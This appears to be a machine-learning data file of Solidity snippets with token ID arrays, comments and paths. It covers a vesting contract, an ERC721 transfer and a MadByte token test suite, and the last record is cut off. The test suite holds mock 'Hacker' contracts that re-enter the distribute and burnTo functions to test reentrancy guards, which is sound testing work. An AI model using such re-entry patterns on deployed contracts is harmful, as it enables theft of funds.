[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 2867, 358, 16, 2254, 5034, 460, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1347, 1248, 28590, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 389, 13866, 12, 3576, 18, 15330, 16, 358, 16, 460, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; // File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: contracts/OVRVesting.sol /** * @title Vesting trustee contract for OVRToken. */ contract OVRVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; uint256 private constant vstart = 1616956200; //Sun Mar 28 2021 18:30:00 GMT+0000 uint256 public constant vcliff = 1616956200; //Sun Mar 28 2021 18:30:00 GMT+0000 uint256 public constant vend = 1648492200; // Mon Mar 28 2022 18:30:00 GMT+0000 uint256 public constant vinstallmentLength = 3600; // 60 min // OVRToken contract. ERC20 public constant token = ERC20(0x21BfBDa47A0B4B5b1248c767Ee49F7caA9B23697); // Vesting grant for a specific holder. struct Grant { uint256 value; uint256 start; uint256 cliff; uint256 end; uint256 installmentLength; // In seconds. uint256 transferred; bool revocable; } // Holder to grant information mapping. mapping (address => Grant) public grants; // Total tokens available for vesting. uint256 public totalVesting; event NewGrant(address indexed _from, address indexed _to, uint256 _value); event TokensUnlocked(address indexed _to, uint256 _value); event GrantRevoked(address indexed _holder, uint256 _refund); /** * @dev Unlock vested tokens and transfer them to their holder. */ function unlockVestedTokens() external { Grant storage grant_ = grants[msg.sender]; // Require that the grant is not empty. require(grant_.value != 0); // Get the total amount of vested tokens, according to grant. uint256 vested = calculateVestedTokens(grant_, block.timestamp); if (vested == 0) { return; } // Make sure the holder doesn't transfer more than what he already has. uint256 transferable = vested.sub(grant_.transferred); if (transferable == 0) { return; } // Update transferred and total vesting amount, then transfer remaining vested funds to holder. grant_.transferred = grant_.transferred.add(transferable); totalVesting = totalVesting.sub(transferable); token.safeTransfer(msg.sender, transferable); emit TokensUnlocked(msg.sender, transferable); } /** * @dev Grant tokens to a specified address. * @param _to address The holder address. * @param _value uint256 The amount of tokens to be granted. * @param _revocable bool Whether the grant is revocable or not. */ function granting(address _to, uint256 _value, bool _revocable) external onlyOwner { require(_to != address(0)); // Don't allow holder to be this contract. require(_to != address(this)); require(_value > 0); // Require that every holder can be granted tokens only once. require(grants[_to].value == 0); // Assign a new grant. grants[_to] = Grant({ value: _value, start: vstart, cliff: vcliff, end: vend, installmentLength: vinstallmentLength, transferred: 0, revocable: _revocable }); // Since tokens have been granted, increase the total amount of vesting. totalVesting = totalVesting.add(_value); emit NewGrant(msg.sender, _to, _value); } /** * @dev Calculate the total amount of vested tokens of a holder at a given time. * @param _holder address The address of the holder. * @param _time uint256 The specific time to calculate against. * @return a uint256 Representing a holder's total amount of vested tokens. */ function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) { Grant memory grant_ = grants[_holder]; if (grant_.value == 0) { return 0; } return calculateVestedTokens(grant_, _time); } /** * @dev Revoke the grant of tokens of a specifed address. * @param _holder The address which will have its tokens revoked. */ function revoke(address _holder) public onlyOwner { Grant memory grant_ = grants[_holder]; // Grant must be revocable. require(grant_.revocable); // Calculate amount of remaining tokens that are still available (i.e. not yet vested) to be returned to owner. uint256 vested = calculateVestedTokens(grant_, block.timestamp); uint256 notTransferredInstallment = vested.sub(grant_.transferred); uint256 refund = grant_.value.sub(vested); //Update of transferred not necessary due to deletion of the grant in the following step. // Remove grant information. delete grants[_holder]; // Update total vesting amount and transfer previously calculated tokens to owner. totalVesting = totalVesting.sub(refund).sub(notTransferredInstallment); // Transfer vested amount that was not yet transferred to _holder. token.safeTransfer(_holder, notTransferredInstallment); emit TokensUnlocked(_holder, notTransferredInstallment); token.safeTransfer(msg.sender, refund); emit TokensUnlocked(msg.sender, refund); emit GrantRevoked(_holder, refund); } /** * @dev Revoke all the grants of tokens. * @param _vault The address which will receive the tokens. */ function revokeAll(address _vault) external onlyOwner { uint256 transferable=token.balanceOf(address(this)); token.safeTransfer(_vault, transferable); } /** * @dev Calculate amount of vested tokens at a specifc time. * @param _grant Grant The vesting grant. * @param _time uint256 The time to be checked * @return a uint256 Representing the amount of vested tokens of a specific grant. */ function calculateVestedTokens(Grant _grant, uint256 _time) private pure returns (uint256) { // If we're before the cliff, then nothing is vested. if (_time < _grant.cliff) { return 0; } // If we're after the end of the vesting period - everything is vested; if (_time >= _grant.end) { return _grant.value; } // Calculate amount of installments past until now. // NOTE result gets floored because of integer division. uint256 installmentsPast = _time.sub(_grant.start).div(_grant.installmentLength); // Calculate amount of days in entire vesting period. uint256 vestingDays = _grant.end.sub(_grant.start); // Calculate and return installments that have passed according to vesting days that have passed. return _grant.value.mul(installmentsPast.mul(_grant.installmentLength)).div(vestingDays); } }
* @dev Revoke the grant of tokens of a specifed address. @param _holder The address which will have its tokens revoked./ Grant must be revocable. Calculate amount of remaining tokens that are still available (i.e. not yet vested) to be returned to owner.Update of transferred not necessary due to deletion of the grant in the following step. Remove grant information. Update total vesting amount and transfer previously calculated tokens to owner. Transfer vested amount that was not yet transferred to _holder.
function revoke(address _holder) public onlyOwner { Grant memory grant_ = grants[_holder]; require(grant_.revocable); uint256 vested = calculateVestedTokens(grant_, block.timestamp); uint256 notTransferredInstallment = vested.sub(grant_.transferred); uint256 refund = grant_.value.sub(vested); delete grants[_holder]; totalVesting = totalVesting.sub(refund).sub(notTransferredInstallment); token.safeTransfer(_holder, notTransferredInstallment); emit TokensUnlocked(_holder, notTransferredInstallment); token.safeTransfer(msg.sender, refund); emit TokensUnlocked(msg.sender, refund); emit GrantRevoked(_holder, refund); }
1,117,299
[ 1, 29196, 326, 7936, 434, 2430, 434, 279, 857, 430, 329, 1758, 18, 225, 389, 4505, 1021, 1758, 1492, 903, 1240, 2097, 2430, 22919, 18, 19, 19689, 1297, 506, 5588, 504, 429, 18, 9029, 3844, 434, 4463, 2430, 716, 854, 4859, 2319, 261, 77, 18, 73, 18, 486, 4671, 331, 3149, 13, 358, 506, 2106, 358, 3410, 18, 1891, 434, 906, 4193, 486, 4573, 6541, 358, 10899, 434, 326, 7936, 316, 326, 3751, 2235, 18, 3581, 7936, 1779, 18, 2315, 2078, 331, 10100, 3844, 471, 7412, 7243, 8894, 2430, 358, 3410, 18, 12279, 331, 3149, 3844, 716, 1703, 486, 4671, 906, 4193, 358, 389, 4505, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18007, 12, 2867, 389, 4505, 13, 1071, 1338, 5541, 288, 203, 3639, 19689, 3778, 7936, 67, 273, 25638, 63, 67, 4505, 15533, 203, 203, 3639, 2583, 12, 16243, 27799, 9083, 504, 429, 1769, 203, 203, 3639, 2254, 5034, 331, 3149, 273, 4604, 58, 3149, 5157, 12, 16243, 67, 16, 1203, 18, 5508, 1769, 203, 540, 203, 3639, 2254, 5034, 486, 1429, 4193, 6410, 475, 273, 331, 3149, 18, 1717, 12, 16243, 27799, 2338, 4193, 1769, 203, 540, 203, 3639, 2254, 5034, 16255, 273, 7936, 27799, 1132, 18, 1717, 12, 90, 3149, 1769, 203, 540, 203, 540, 203, 3639, 1430, 25638, 63, 67, 4505, 15533, 203, 540, 203, 3639, 2078, 58, 10100, 273, 2078, 58, 10100, 18, 1717, 12, 1734, 1074, 2934, 1717, 12, 902, 1429, 4193, 6410, 475, 1769, 203, 540, 203, 3639, 1147, 18, 4626, 5912, 24899, 4505, 16, 486, 1429, 4193, 6410, 475, 1769, 203, 540, 203, 3639, 3626, 13899, 7087, 329, 24899, 4505, 16, 486, 1429, 4193, 6410, 475, 1769, 203, 540, 203, 3639, 1147, 18, 4626, 5912, 12, 3576, 18, 15330, 16, 16255, 1769, 203, 540, 203, 3639, 3626, 13899, 7087, 329, 12, 3576, 18, 15330, 16, 16255, 1769, 203, 540, 203, 3639, 3626, 19689, 10070, 14276, 24899, 4505, 16, 16255, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xB48077d89fa302B257f56aA01C7F86dd279B79F3/sources/contracts/GhostERC721Upgradeable/GERC721Upgradeable.sol
* @dev Transfers `tokenId` from `from` to `to`. As opposed to {transferFrom}, this imposes no restrictions on msg.sender. Requirements: - `to` cannot be the zero address. - `tokenId` token must be owned by `from`. Emits a {Transfer} event./ Clear approvals from the previouss owner
function _transfer(address from, address to, uint256 tokenId) internal virtual { require(GERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); }
16,182,968
[ 1, 1429, 18881, 1375, 2316, 548, 68, 628, 1375, 2080, 68, 358, 1375, 869, 8338, 225, 2970, 1061, 7423, 358, 288, 13866, 1265, 5779, 333, 709, 10522, 1158, 17499, 603, 1234, 18, 15330, 18, 29076, 30, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 2316, 548, 68, 1147, 1297, 506, 16199, 635, 1375, 2080, 8338, 7377, 1282, 279, 288, 5912, 97, 871, 18, 19, 10121, 6617, 4524, 628, 326, 2416, 87, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 1147, 548, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 3101, 39, 27, 5340, 10784, 429, 18, 8443, 951, 12, 2316, 548, 13, 422, 628, 16, 315, 654, 39, 27, 5340, 30, 7412, 628, 11332, 3410, 8863, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 27, 5340, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 389, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 203, 3639, 389, 12908, 537, 12, 2867, 12, 20, 3631, 1147, 548, 1769, 203, 203, 3639, 389, 70, 26488, 63, 2080, 65, 3947, 404, 31, 203, 3639, 389, 70, 26488, 63, 869, 65, 1011, 404, 31, 203, 3639, 389, 995, 414, 63, 2316, 548, 65, 273, 358, 31, 203, 203, 3639, 3626, 12279, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 203, 3639, 389, 5205, 1345, 5912, 12, 2080, 16, 358, 16, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT-open-group pragma solidity ^0.8.0; import "lib/ds-test/test.sol"; import "src/tokens/MadByte.sol"; import "src/tokens/math/Sigmoid.sol"; abstract contract BaseMock { MadByte public token; function setToken(MadByte _token) public { token = _token; } function transfer(address recipient, uint256 amount) public virtual returns(bool){ return token.transfer(recipient, amount); } function burn(uint256 amount) public returns (uint256) { return token.burn(amount, 0); } function approve(address who, uint256 amount) public returns (bool) { return token.approve(who, amount); } function mint(uint256 minMB) payable public returns(uint256) { return token.mint{value: msg.value}(minMB); } receive() external virtual payable{} } contract AdminAccount is BaseMock { constructor() {} function setMinerStaking(address addr) public { token.setMinerStaking(addr); } function setMadStaking(address addr) public { token.setMadStaking(addr); } function setLPStaking(address addr) public { token.setFoundation(addr); } function setFoundation(address addr) public { token.setLPStaking(addr); } function setSplits(uint256 minerStakingSplit_, uint256 madStakingSplit_, uint256 lpStakingSplit_, uint256 protocolFee_) public { token.setSplits(minerStakingSplit_, madStakingSplit_, lpStakingSplit_, protocolFee_); } function virtualMintDeposit(address to_, uint256 amount_) public returns (uint256) { return token.virtualMintDeposit(to_, amount_); } } contract MadStakingAccount is BaseMock, IMagicEthTransfer, MagicValue { constructor() {} function depositEth(uint8 magic_) override external payable checkMagic(magic_) { } } contract MinerStakingAccount is BaseMock, IMagicEthTransfer, MagicValue { constructor() {} function depositEth(uint8 magic_) override external payable checkMagic(magic_) { } } contract LPStakingAccount is BaseMock, IMagicEthTransfer, MagicValue { constructor() {} function depositEth(uint8 magic_) override external payable checkMagic(magic_) { } } contract FoundationAccount is BaseMock, IMagicEthTransfer, MagicValue { constructor() {} function depositEth(uint8 magic_) override external payable checkMagic(magic_) { } } contract HackerAccountDistributeReEntry is BaseMock, IMagicEthTransfer, MagicValue { uint256 public _count = 0; constructor() {} function doNastyStuff() internal { if (_count < 5) { token.distribute(); _count++; } else { _count = 0; } } function depositEth(uint8 magic_) override external payable checkMagic(magic_) { doNastyStuff(); } } contract HackerAccountBurnReEntry is BaseMock, DSTest { uint256 public _count = 0; constructor() {} function doNastyStuff() internal { if (_count < 4) { _count++; token.burnTo(address(this), 20_000000000000000000, 0); } else { return; } } receive() external override payable{ doNastyStuff(); } } contract UserAccount is BaseMock { constructor() {} } contract TokenPure { MadByte public token; uint256 public poolBalance; uint256 public totalSupply; event log_named_uint(string key, uint256 val); function log(string memory name, uint256 value) internal{ emit log_named_uint(name, value); } constructor() { AdminAccount admin = new AdminAccount(); MadStakingAccount madStaking = new MadStakingAccount(); MinerStakingAccount minerStaking = new MinerStakingAccount(); LPStakingAccount lpStaking = new LPStakingAccount(); FoundationAccount foundation = new FoundationAccount(); token = new MadByte( address(admin), address(madStaking), address(minerStaking), address(lpStaking), address(foundation) ); admin.setToken(token); madStaking.setToken(token); minerStaking.setToken(token); lpStaking.setToken(token); foundation.setToken(token); } function mint(uint256 amountETH) public returns(uint256 madBytes){ require(amountETH >= 1, "MadByte: requires at least 4 WEI"); madBytes = token.EthtoMB(poolBalance, amountETH); poolBalance += amountETH; totalSupply += madBytes; } function burn(uint256 amountMB) public returns (uint256 returnedEth){ require(amountMB != 0, "MadByte: The number of MadBytes to be burn should be greater than 0!"); require(totalSupply>= amountMB, "Underflow: totalSupply < amountMB"); returnedEth = token.MBtoEth(poolBalance, totalSupply, amountMB); log("TokenPure: poolBalance ", poolBalance); log("TokenPure: returnedEth ", returnedEth); require(poolBalance>= returnedEth, "Underflow: poolBalance < returnedEth"); poolBalance -= returnedEth; log("TokenPure: totalSupply ", totalSupply); log("TokenPure: amountMB ", amountMB); totalSupply -= amountMB; log("TokenPure: totalSupply After", totalSupply); } } contract EOA_SingleDeposit is DSTest { uint256 constant ONE_MB = 1*10**18; uint256 public madBytes = 0; // by calling the MadByte.deposit from a constructor, we make sure // the extcodesize() of address(this) is zero (thanks Hunter!). // this also means we can only test deposits using this approach, // and asserts won't work inside this constructor constructor(MadByte token) payable { // first deposit mint madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); assertEq(token.balanceOf(address(this)), madBytes); // deposit uint256 depositID = token.deposit(100 * ONE_MB); madBytes -= 100 * ONE_MB; assertEq(depositID, 1); } } contract EOA_DoubleDeposit is DSTest { uint256 constant ONE_MB = 1*10**18; uint256 public madBytes = 0; constructor(MadByte token) payable { // first deposit // mint madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); // deposits token.deposit(100 * ONE_MB); madBytes -= 100 * ONE_MB; token.deposit(199 * ONE_MB); madBytes -= 199 * ONE_MB; } } contract EOA_DepositZeroMadBytes is DSTest { uint256 constant ONE_MB = 1*10**18; uint256 public madBytes = 0; constructor(MadByte token) payable { // first deposit // mint madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); // deposits token.deposit(0 * ONE_MB); } } contract MadByteTest is DSTest, Sigmoid { uint256 constant ONE_MB = 1*10**18; // helper functions function getFixtureData() internal returns( MadByte token, AdminAccount admin, MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) { admin = new AdminAccount(); madStaking = new MadStakingAccount(); minerStaking = new MinerStakingAccount(); lpStaking = new LPStakingAccount(); foundation = new FoundationAccount(); token = new MadByte( address(admin), address(madStaking), address(minerStaking), address(lpStaking), address(foundation) ); assertEq(1*10**token.decimals(), ONE_MB); admin.setToken(token); madStaking.setToken(token); minerStaking.setToken(token); lpStaking.setToken(token); foundation.setToken(token); } function newUserAccount(MadByte token) private returns(UserAccount acct) { acct = new UserAccount(); acct.setToken(token); } function assertEqBNAddress(MadByte.BNAddress memory actual, MadByte.BNAddress memory expected) public { assertEq(actual.to0, expected.to0); assertEq(actual.to1, expected.to1); assertEq(actual.to2, expected.to2); assertEq(actual.to3, expected.to3); } // test functions function testFail_noAdminSetMinerStaking() public { (MadByte token,,,,,) = getFixtureData(); token.setMinerStaking(address(0x0)); } function testFail_noAdminSetMadStaking() public { (MadByte token,,,,,) = getFixtureData(); token.setMadStaking(address(0x0)); } function testFail_noAdminSetFoundation() public { (MadByte token,,,,,) = getFixtureData(); token.setFoundation(address(0x0)); } function testFail_noAdminSetSplits() public { (MadByte token,,,,,) = getFixtureData(); token.setSplits(300, 300, 300, 100); } function testAdminSetters() public { (,AdminAccount admin,,,,) = getFixtureData(); admin.setMinerStaking(address(0x0)); admin.setMadStaking(address(0x0)); admin.setLPStaking(address(0x0)); admin.setFoundation(address(0x0)); admin.setSplits(300, 300, 300, 100); // 300 = 30%, 1000 = 100% } function testFail_SettingSplitGreaterThanMadUnitOne() public { (,AdminAccount admin,,,,) = getFixtureData(); admin.setSplits(1000, 1000, 1000, 1000); } function testFail_SettingSplitGreaterThanMadUnitOne2() public { (,AdminAccount admin,,,,) = getFixtureData(); admin.setSplits(333, 333, 333, 2); } function testFail_SettingAllSplitsToZero() public { (,AdminAccount admin,,,,) = getFixtureData(); admin.setSplits(0, 0, 0, 0); } function testSettingSomeSplitsToZero() public { (,AdminAccount admin,,,,) = getFixtureData(); admin.setSplits(0, 0, 1000, 0); } function testMint() public { (MadByte token,,,,,) = getFixtureData(); uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(madBytes, 399028731704364116575); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); uint256 madBytes2 = token.mint{value: 4 ether}(0); assertEq(madBytes2, 399027176702820751481); assertEq(token.balanceOf(address(this)), madBytes2 + madBytes); assertEq(token.totalSupply(), madBytes2 + madBytes); assertEq(address(token).balance, 8 ether); assertEq(token.getPoolBalance(), 2 ether); } function testMintExpectedBondingCurvePoints() public { (MadByte token1,,,,,) = getFixtureData(); (MadByte token2,,,,,) = getFixtureData(); (MadByte token3,,,,,) = getFixtureData(); uint256 madBytes = token1.mint{value: 10_000 ether}(0); assertEq(madBytes, 936764568799449143863271); assertEq(token1.totalSupply(), madBytes); assertEq(address(token1).balance, 10_000 ether); assertEq(token1.getPoolBalance(), 2_500 ether); // at 20k ether we have a nice rounding value for madbytes generated madBytes = token1.mint{value: 10_000 ether}(0); assertEq(madBytes, 1005000000000000000000000 - 936764568799449143863271); assertEq(token1.totalSupply(), 1005000000000000000000000); assertEq(address(token1).balance, 20_000 ether); assertEq(token1.getPoolBalance(), 5_000 ether); // the only nice value when minting happens when we mint 20k ether madBytes = token2.mint{value: 20_000 ether}(0); assertEq(madBytes, 1005000000000000000000000); assertEq(token2.totalSupply(), madBytes); assertEq(address(token2).balance, 20_000 ether); assertEq(token2.getPoolBalance(), 5_000 ether); madBytes = token3.mint{value: 25_000 ether}(0); assertEq(madBytes, 1007899288252135716968558); assertEq(token3.totalSupply(), madBytes); assertEq(address(token3).balance, 25_000 ether); assertEq(token3.getPoolBalance(), 6_250 ether); } function testMintWithBillionsOfEthereum() public { ( MadByte token, , , , ,) = getFixtureData(); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); // Investing trillions of US dollars in ethereum uint256 madBytes = token.mint{value: 70_000_000_000 ether}(0); assertEq(madBytes, 17501004975246203818081563855); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(this)), madBytes); assertEq(address(token).balance, 70_000_000_000 ether); assertEq(token.getPoolBalance(), 17500000000000000000000000000); } function testMintTo() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); uint256 madBytes = token.mintTo{value: 4 ether}(address(acct1), 0); assertEq(madBytes, 399028731704364116575); assertEq(token.balanceOf(address(acct1)), 399028731704364116575); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); uint256 madBytes2 = token.mintTo{value: 4 ether}(address(acct2), 0); assertEq(madBytes2, 399027176702820751481); assertEq(token.balanceOf(address(acct2)), 399027176702820751481); assertEq(token.totalSupply(), madBytes + madBytes2); assertEq(address(token).balance, 8 ether); assertEq(token.getPoolBalance(), 2 ether); } function testMintToWithBillionsOfEthereum() public { ( MadByte token, , , , ,) = getFixtureData(); UserAccount user = newUserAccount(token); assertEq(token.totalSupply(), 0); assertEq(address(token).balance, 0 ether); assertEq(address(user).balance, 0 ether); // Investing trillions of US dollars in ethereum uint256 madBytes = token.mintTo{value: 70_000_000_000 ether}(address(user), 0); assertEq(madBytes, 17501004975246203818081563855); assertEq(token.totalSupply(), madBytes); assertEq(token.balanceOf(address(user)), madBytes); assertEq(address(token).balance, 70_000_000_000 ether); assertEq(token.getPoolBalance(), 17500000000000000000000000000); } function testFail_MintToZeroAddress() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); token.mintTo{value: 4 ether}(address(0), 0); } function testFail_MintToBigMinMBQuantity() public { (MadByte token,,,,,) = getFixtureData(); UserAccount acct1 = newUserAccount(token); UserAccount acct2 = newUserAccount(token); token.mintTo{value: 4 ether}(address(acct1), 